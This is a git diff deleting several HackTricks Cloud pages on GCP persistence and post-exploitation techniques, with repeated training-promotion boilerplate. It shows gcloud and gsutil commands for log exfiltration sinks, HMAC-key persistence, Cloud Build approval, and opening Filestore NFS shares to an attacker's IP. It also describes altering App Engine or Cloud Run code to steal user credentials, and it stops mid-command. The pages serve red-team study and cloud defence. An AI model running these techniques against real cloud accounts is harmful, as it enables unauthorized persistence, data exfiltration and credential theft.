deleted file mode 100644
index 9710f452c..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# GCP - Filestore Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Filestore
-
-For more information about Filestore check:
-
-{% content-ref url="../gcp-services/gcp-filestore-enum.md" %}
-[gcp-filestore-enum.md](../gcp-services/gcp-filestore-enum.md)
-{% endcontent-ref %}
-
-### Give broader access and privileges over a mount
-
-An attacker could **give himself more privileges and ease the access** to the share in order to maintain persistence over the share, find how to perform this actions in this page:
-
-{% content-ref url="gcp-filestore-persistence.md" %}
-[gcp-filestore-persistence.md](gcp-filestore-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
deleted file mode 100644
index 05deeb7fa..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# GCP - Logging Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Logging
-
-Find more information about Logging in:
-
-{% content-ref url="../gcp-services/gcp-logging-enum.md" %}
-[gcp-logging-enum.md](../gcp-services/gcp-logging-enum.md)
-{% endcontent-ref %}
-
-### `logging.sinks.create`
-
-Create a sink to exfiltrate the logs to an attackers accessible destination:
-
-{% code overflow="wrap" %}
-```bash
-gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md
deleted file mode 100644
index 09a46acea..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# GCP - Secret Manager Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Secret Manager
-
-Find more information about Secret Manager in:
-
-{% content-ref url="../gcp-services/gcp-secrets-manager-enum.md" %}
-[gcp-secrets-manager-enum.md](../gcp-services/gcp-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### Rotation misuse
-
-An attacker could update the secret to:
-
-* **Stop rotations** so the secret won't be modified
-* **Make rotations much less often** so the secret won't be modified
-* **Publish the rotation message to a different pub/sub**
-* **Modify the rotation code being executed.** This happens in a different service, probably in a Cloud Function, so the attacker will need privileged access over the Cloud Function or any other service.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
deleted file mode 100644
index ada06789d..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# GCP - Storage Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Storage
-
-For more information about Cloud Storage check:
-
-{% content-ref url="../gcp-services/gcp-storage-enum.md" %}
-[gcp-storage-enum.md](../gcp-services/gcp-storage-enum.md)
-{% endcontent-ref %}
-
-### `storage.hmacKeys.create`
-
-You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
-
-```bash
-# Create key
-gsutil hmac create <sa-email>
-
-# Configure gsutil to use it
-gsutil config -a
-
-# Use it
-gsutil ls gs://[BUCKET_NAME]
-```
-
-Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
-
-### Give Public Access
-
-**Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in:
-
-{% content-ref url="../gcp-post-exploitation/gcp-storage-post-exploitation.md" %}
-[gcp-storage-post-exploitation.md](../gcp-post-exploitation/gcp-storage-post-exploitation.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
deleted file mode 100644
index 5c17fd3ec..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# GCP - App Engine Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## `App Engine`
-
-For information about App Engine check:
-
-{% content-ref url="../gcp-services/gcp-app-engine-enum.md" %}
-[gcp-app-engine-enum.md](../gcp-services/gcp-app-engine-enum.md)
-{% endcontent-ref %}
-
-### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
-
-With these permissions it's possible to:
-
-* Add a key
-* List keys
-* Get a key
-* Delete
-
-{% hint style="danger" %}
-However, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**.
-
-If you know easier ways to use these permissions send a Pull Request!
-{% endhint %}
-
-### `logging.views.access`
-
-With this permission it's possible to **see the logs of the App**:
-
-```bash
-gcloud app logs tail -s <name>
-```
-
-### Read Source Code
-
-The source code of all the versions and services are **stored in the bucket** with the name **`staging.<proj-id>.appspot.com`**. If you have write access over it you can read the source code and search for **vulnerabilities** and **sensitive information**.
-
-### Modify Source Code
-
-Modify source code to steal credentials if they are being sent or perform a defacement web attack.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
deleted file mode 100644
index 4eb194006..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# GCP - Artifact Registry Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Artifact Registry
-
-For more information about Artifact Registry check:
-
-{% content-ref url="../gcp-services/gcp-artifact-registry-enum.md" %}
-[gcp-artifact-registry-enum.md](../gcp-services/gcp-artifact-registry-enum.md)
-{% endcontent-ref %}
-
-### Privesc
-
-The Post Exploitation and Privesc techniques of Artifact Registry were mixed in:
-
-{% content-ref url="../gcp-privilege-escalation/gcp-artifact-registry-privesc.md" %}
-[gcp-artifact-registry-privesc.md](../gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
deleted file mode 100644
index 7fc7b5f47..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
+++ /dev/null
@@ -1,56 +0,0 @@
-# GCP - Cloud Build Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Build
-
-For more information about Cloud Build check:
-
-{% content-ref url="../gcp-services/gcp-cloud-build-enum.md" %}
-[gcp-cloud-build-enum.md](../gcp-services/gcp-cloud-build-enum.md)
-{% endcontent-ref %}
-
-### `cloudbuild.builds.approve`
-
-With this permission you can approve the execution of a **codebuild that require approvals**.
-
-```bash
-# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
-curl -X POST \
-     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
-     -H "Content-Type: application/json" \
-     -d '{{
-         "approvalResult": {
-           object (ApprovalResult)
-         }
-       }' \
-     "https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
deleted file mode 100644
index 0e6bdccac..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# GCP - Cloud Run Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Run
-
-For more information about Cloud Run check:
-
-{% content-ref url="../gcp-services/gcp-cloud-run-enum.md" %}
-[gcp-cloud-run-enum.md](../gcp-services/gcp-cloud-run-enum.md)
-{% endcontent-ref %}
-
-### Access the images
-
-If you can access the container images check the code for vulnerabilities and hardcoded sensitive information. Also for sensitive information in env variables.
-
-If the images are stored in repos inside the service Artifact Registry and the user has read access over the repos, he could also download the image from this service.
-
-### Modify & redeploy the image
-
-Modify the run image to steal information and redeploy the new version (just uploading a new docker container with the same tags won't get it executed). For example, if it's exposing a login page, steal the credentials users are sending.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
deleted file mode 100644
index 037d748cf..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# GCP - Filestore Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Filestore
-
-For more information about Filestore check:
-
-{% content-ref url="../gcp-services/gcp-filestore-enum.md" %}
-[gcp-filestore-enum.md](../gcp-services/gcp-filestore-enum.md)
-{% endcontent-ref %}
-
-### Mount Filestore
-
-A shared filesystem **might contain sensitive information** interesting from an attackers perspective. With access to the Filestore it's possible to **mount it**:
-
-{% code overflow="wrap" %}
-```bash
-sudo apt-get update
-sudo apt-get install nfs-common
-# Check the share name
-showmount -e <IP>
-# Mount the share
-mkdir /mnt/fs
-sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
-```
-{% endcode %}
-
-To find the IP address of a filestore insatnce check the enumeration section of the page:
-
-{% content-ref url="../gcp-services/gcp-filestore-enum.md" %}
-[gcp-filestore-enum.md](../gcp-services/gcp-filestore-enum.md)
-{% endcontent-ref %}
-
-### Remove Restrictions and get extra permissions
-
-If the attacker isn't in an IP address with access over the share, but you have enough permissions to modify it, it's possible to remover the restrictions or access over it. It's also possible to grant more privileges over your IP address to have admin access over the share:
-
-```bash
-gcloud filestore instances update nfstest \
-    --zone=<exact-zone> \
-    --flags-file=nfs.json
-
-# Contents of nfs.json
-{
-  "--file-share":
-  {
-    "capacity": "1024",
-    "name": "<share-name>",
-    "nfs-export-options": [
-      {
-        "access-mode": "READ_WRITE",
-        "ip-ranges": [
-          "<your-ip-private-address>/32"
-        ],
-        "squash-mode": "NO_ROOT_SQUASH",
-        "anon_uid": 1003,
-        "anon_gid": 1003
-      }
-    ]
-  }
-}
-```
-
-### Restore a backup
-
-If there is a backup it's possible to **restore it** in an existing or in a new instance so its **information becomes accessible:**
-
-```bash
-# Create a new filestore if you don't want to modify the old one
-gcloud filestore instances create <new-instance-name> \
-    --zone=<zone> \
-    --tier=STANDARD \
-    --file-share=name=vol1,capacity=1TB \
